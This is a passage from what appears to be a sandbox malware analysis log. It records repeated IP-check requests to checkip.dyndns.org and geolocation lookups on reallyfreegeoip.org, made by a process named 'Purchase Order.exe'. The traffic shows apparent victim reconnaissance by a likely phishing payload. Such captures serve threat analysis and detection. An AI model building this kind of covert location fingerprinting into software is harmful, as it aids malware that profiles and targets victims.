Apr 4, 2024 16:34:11.960510015 CEST	324	IN	HTTP/1.1 200 OK Date: Thu, 04 Apr 2024 14:34:11 GMT Content-Type: text/html Content-Length: 107 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 1c8ddcf7f394174071115590680359bb Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 33 31 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 102.129.152.231</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49738	132.226.247.73	80	7048	C:\Users\user\Desktop\Purchase Order.exe

Timestamp	Bytes transferred	Direction	Data
Apr 4, 2024 16:34:13.766841888 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 4, 2024 16:34:14.001847029 CEST	324	IN	HTTP/1.1 200 OK Date: Thu, 04 Apr 2024 14:34:13 GMT Content-Type: text/html Content-Length: 107 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: ed65ef5727bee272ab47a97a7f2538dd Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 33 31 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 102.129.152.231</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49740	132.226.247.73	80	7048	C:\Users\user\Desktop\Purchase Order.exe

Timestamp	Bytes transferred	Direction	Data
Apr 4, 2024 16:34:14.812968016 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 4, 2024 16:34:15.048676014 CEST	324	IN	HTTP/1.1 200 OK Date: Thu, 04 Apr 2024 14:34:14 GMT Content-Type: text/html Content-Length: 107 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: cebc8a775a75d7f684a68ada748397d6 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 33 31 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 102.129.152.231</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49742	132.226.247.73	80	7048	C:\Users\user\Desktop\Purchase Order.exe

Timestamp	Bytes transferred	Direction	Data
Apr 4, 2024 16:34:15.866674900 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 4, 2024 16:34:16.101897001 CEST	324	IN	HTTP/1.1 200 OK Date: Thu, 04 Apr 2024 14:34:15 GMT Content-Type: text/html Content-Length: 107 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: d5b128e0e022a07e39ac726019d465f5 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 33 31 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 102.129.152.231</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49744	132.226.247.73	80	7048	C:\Users\user\Desktop\Purchase Order.exe

Timestamp	Bytes transferred	Direction	Data
Apr 4, 2024 16:34:16.917351007 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Apr 4, 2024 16:34:17.152823925 CEST	324	IN	HTTP/1.1 200 OK Date: Thu, 04 Apr 2024 14:34:17 GMT Content-Type: text/html Content-Length: 107 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 6fc1683160c2f9ffbf711b3c4a050b82 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 33 31 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 102.129.152.231</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49746	132.226.247.73	80	7048	C:\Users\user\Desktop\Purchase Order.exe

Timestamp	Bytes transferred	Direction	Data
Apr 4, 2024 16:34:18.193528891 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Apr 4, 2024 16:34:18.429286003 CEST	324	IN	HTTP/1.1 200 OK Date: Thu, 04 Apr 2024 14:34:18 GMT Content-Type: text/html Content-Length: 107 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 5ad0b05b4e54005bad95d1581ba23600 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 33 31 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 102.129.152.231</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49748	132.226.247.73	80	7048	C:\Users\user\Desktop\Purchase Order.exe

Timestamp	Bytes transferred	Direction	Data
Apr 4, 2024 16:34:19.784717083 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Apr 4, 2024 16:34:20.012692928 CEST	324	IN	HTTP/1.1 200 OK Date: Thu, 04 Apr 2024 14:34:19 GMT Content-Type: text/html Content-Length: 107 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 3b6c0db971f4d3016e991667fccbc095 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 33 31 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 102.129.152.231</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	104.21.67.152	443	7048	C:\Users\user\Desktop\Purchase Order.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-04 14:34:11 UTC	88	OUT	GET /xml/102.129.152.231 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-04-04 14:34:11 UTC	711	IN	HTTP/1.1 200 OK Date: Thu, 04 Apr 2024 14:34:11 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 40 Last-Modified: Thu, 04 Apr 2024 14:33:31 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=g%2F5goglpXvtribm%2BkCzM6Ib9%2F9zwudvmojMXr%2BF4kwaQaSVORzWGeErFVC8T1sxuN3JHqVzNUeyaoa0W42keZbaXmFkzA5632y1y0IhOGtD%2BLPgCK%2FeHNPbVwwQ917Z%2BW0IjQ54B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86f2048eab99495a-MIA alt-svc: h3=":443"; ma=86400
2024-04-04 14:34:11 UTC	380	IN	Data Raw: 31 37 35 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 33 31 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 43 41 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 43 61 6c 69 66 6f 72 6e 69 61 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4c 6f 73 20 41 6e 67 65 6c 65 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 39 30 30 30 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4c 6f 73 Data Ascii: 175<Response><IP>102.129.152.231</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>CA</RegionCode><RegionName>California</RegionName><City>Los Angeles</City><ZipCode>90009</ZipCode><TimeZone>America/Los
2024-04-04 14:34:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	104.21.67.152	443	7048	C:\Users\user\Desktop\Purchase Order.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-04 14:34:12 UTC	64	OUT	GET /xml/102.129.152.231 HTTP/1.1 Host: reallyfreegeoip.org
2024-04-04 14:34:12 UTC	699	IN	HTTP/1.1 200 OK Date: Thu, 04 Apr 2024 14:34:12 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 41 Last-Modified: Thu, 04 Apr 2024 14:33:31 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QhlnncZbCGsxkdsfIPyDN90Ei7talzBvc1KYAlELfxlBcY30Vuq733TNVYTdh7JRZlvyC5NjFqOqIBHjaBYKJWR%2BUid1ggYCyh9BNbwHR9n0n0sPS6e0fpHAXJcnHtmclvMbzuUV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86f20493cc9d8dc7-MIA alt-svc: h3=":443"; ma=86400
2024-04-04 14:34:12 UTC	380	IN	Data Raw: 31 37 35 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 33 31 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 43 41 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 43 61 6c 69 66 6f 72 6e 69 61 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4c 6f 73 20 41 6e 67 65 6c 65 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 39 30 30 30 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4c 6f 73 Data Ascii: 175<Response><IP>102.129.152.231</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>CA</RegionCode><RegionName>California</RegionName><City>Los Angeles</City><ZipCode>90009</ZipCode><TimeZone>America/Los
2024-04-04 14:34:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49739	104.21.67.152	443	7048	C:\Users\user\Desktop\Purchase Order.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-04 14:34:14 UTC	88	OUT	GET /xml/102.129.152.231 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-04-04 14:34:14 UTC	707	IN	HTTP/1.1 200 OK Date: Thu, 04 Apr 2024 14:34:14 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 43 Last-Modified: Thu, 04 Apr 2024 14:33:31 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PwtUn%2FSdnv0UBGuDY3iRq9p%2Fwasum76Ao04OPQAyhRRVuhrGSabjuANY%2Bk6tyIfk%2FJwZ2Fks4kJpFu6Y3WhnJtg0YCHtUmJ82dudKqO%2FgDI8J1m3AVE2Rbkx04CbsydOVKavEV54"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86f204a088e38d97-MIA alt-svc: h3=":443"; ma=86400
2024-04-04 14:34:14 UTC	380	IN	Data Raw: 31 37 35 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 33 31 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 43 41 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 43 61 6c 69 66 6f 72 6e 69 61 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4c 6f 73 20 41 6e 67 65 6c 65 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 39 30 30 30 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4c 6f 73 Data Ascii: 175<Response><IP>102.129.152.231</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>CA</RegionCode><RegionName>California</RegionName><City>Los Angeles</City><ZipCode>90009</ZipCode><TimeZone>America/Los
2024-04-04 14:34:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49741	104.21.67.152	443	7048	C:\Users\user\Desktop\Purchase Order.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-04 14:34:15 UTC	88	OUT	GET /xml/102.129.152.231 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-04-04 14:34:15 UTC	707	IN	HTTP/1.1 200 OK Date: Thu, 04 Apr 2024 14:34:15 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 44 Last-Modified: Thu, 04 Apr 2024 14:33:31 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OD7AOOVMvV6%2Blk6%2Fu9Vso7iwSwJR78KS%2FAc0%2F3wYmULWk4mkpMT9Bh9lNRZiMsUccfDJuzs8v6l40q1kYgNKklq6Sji8tuTEugNCztgYTTazqAWSl7xoQ%2FgPa1Vhf1zNueVipzLP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86f204a7192212a7-MIA alt-svc: h3=":443"; ma=86400
2024-04-04 14:34:15 UTC	380	IN	Data Raw: 31 37 35 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 33 31 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 43 41 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 43 61 6c 69 66 6f 72 6e 69 61 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4c 6f 73 20 41 6e 67 65 6c 65 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 39 30 30 30 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4c 6f 73 Data Ascii: 175<Response><IP>102.129.152.231</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>CA</RegionCode><RegionName>California</RegionName><City>Los Angeles</City><ZipCode>90009</ZipCode><TimeZone>America/Los
2024-04-04 14:34:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49743	104.21.67.152	443	7048	C:\Users\user\Desktop\Purchase Order.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-04 14:34:16 UTC	88	OUT	GET /xml/102.129.152.231 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-04-04 14:34:16 UTC	703	IN	HTTP/1.1 200 OK Date: Thu, 04 Apr 2024 14:34:16 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 45 Last-Modified: Thu, 04 Apr 2024 14:33:31 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7pzN12KAsQfMiuNyHNOyUaMk%2BRumX%2B0FlvCXw3QyY6VQYqtzd0ejS9%2BqtW4E6PJpd9BiF60cefYSe6RqyL6vlA5j1TC5TUZvaWcsvJL6kjVc3XE0mgYYkE90jSc7DBjRvy3jENAK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86f204adaaec3360-MIA alt-svc: h3=":443"; ma=86400
2024-04-04 14:34:16 UTC	380	IN	Data Raw: 31 37 35 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 33 31 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 43 41 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 43 61 6c 69 66 6f 72 6e 69 61 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4c 6f 73 20 41 6e 67 65 6c 65 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 39 30 30 30 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4c 6f 73 Data Ascii: 175<Response><IP>102.129.152.231</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>CA</RegionCode><RegionName>California</RegionName><City>Los Angeles</City><ZipCode>90009</ZipCode><TimeZone>America/Los
2024-04-04 14:34:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49745	104.21.67.152	443	7048	C:\Users\user\Desktop\Purchase Order.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-04 14:34:17 UTC	88	OUT	GET /xml/102.129.152.231 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-04-04 14:34:17 UTC	713	IN	HTTP/1.1 200 OK Date: Thu, 04 Apr 2024 14:34:17 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 46 Last-Modified: Thu, 04 Apr 2024 14:33:31 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Il06xB032J%2Bkz29ZryUYTsTRWvnR%2B8QPd6ZVJXWGq73CcU1%2BnqYIO%2BKHOayz5H1Zy%2FQVLjoPQQPnZIxaMRyKhyJs65kpBQXD%2BJ%2F0AnnF%2B0v5BPvO2UuZqpWZC5BMHAGVhi3ZY2tU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86f204b4584167db-MIA alt-svc: h3=":443"; ma=86400
2024-04-04 14:34:17 UTC	380	IN	Data Raw: 31 37 35 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 33 31 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 43 41 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 43 61 6c 69 66 6f 72 6e 69 61 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4c 6f 73 20 41 6e 67 65 6c 65 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 39 30 30 30 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4c 6f 73 Data Ascii: 175<Response><IP>102.129.152.231</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>CA</RegionCode><RegionName>California</RegionName><City>Los Angeles</City><ZipCode>90009</ZipCode><TimeZone>America/Los
2024-04-04 14:34:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49747	104.21.67.152	443	7048	C:\Users\user\Desktop\Purchase Order.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-04 14:34:19 UTC	64	OUT	GET /xml/102.129.152.231 HTTP/1.1 Host: reallyfreegeoip.org
2024-04-04 14:34:19 UTC	705	IN	HTTP/1.1 200 OK Date: Thu, 04 Apr 2024 14:34:19 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 48 Last-Modified: Thu, 04 Apr 2024 14:33:31 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=50%2Bol7BGGdHAWRZcAvpzTqGnG%2BmpwEfigTxkafi8y23QOmaEhND%2Bdo1mum8oKJK07WJskJ9atrxBhZXZwVqw3iniD%2FOv5EYCidvYEJGv2CHa3R0lfB8NbugNuQ5shbz6jsgzkbza"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86f204bf1e5531da-MIA alt-svc: h3=":443"; ma=86400
2024-04-04 14:34:19 UTC	380	IN	Data Raw: 31 37 35 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 33 31 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 43 41 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 43 61 6c 69 66 6f 72 6e 69 61 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4c 6f 73 20 41 6e 67 65 6c 65 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 39 30 30 30 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4c 6f 73 Data Ascii: 175<Response><IP>102.129.152.231</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>CA</RegionCode><RegionName>California</RegionName><City>Los Angeles</City><ZipCode>90009</ZipCode><TimeZone>America/Los
2024-04-04 14:34:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49749	104.21.67.152	443	7048	C:\Users\user\Desktop\Purchase Order.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-04 14:34:20 UTC	88	OUT	GET /xml/102.129.152.231 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
